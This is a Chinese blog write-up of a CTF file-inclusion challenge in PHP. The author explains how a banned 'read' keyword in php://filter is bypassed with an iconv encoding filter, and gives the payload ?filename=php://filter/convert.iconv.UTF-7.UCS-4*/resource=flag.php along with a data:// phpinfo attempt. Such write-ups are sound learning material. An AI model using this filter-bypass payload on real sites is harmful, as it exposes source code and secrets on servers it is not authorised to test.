攻防世界(题目名称-文件包含)

本文探讨了如何在PHP环境中利用iconv编码过滤器规避限制,实现文件包含,通过实际案例展示了如何利用payload ?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php获取flag。关键在于理解编码过滤器的工作原理并巧妙利用.

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开环境,看php代码

如题目所说,给出代码很简单,试一下:data://text/plain,%20phpinfo(); 

再尝试一下php://协议

经过尝试后发现read被ban掉了,这里参考了一下官方的wp
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php

考虑利用iconv进行编码

payload:?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

拿到了flag

 总结

过滤器需要一些绕过,用到了iconv编码过滤器。

参考链接

PHP: 支持的字符编码 - Manual

ctfshow-文件包含_6right的博客-CSDN博客_ctfshow 文件包含

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值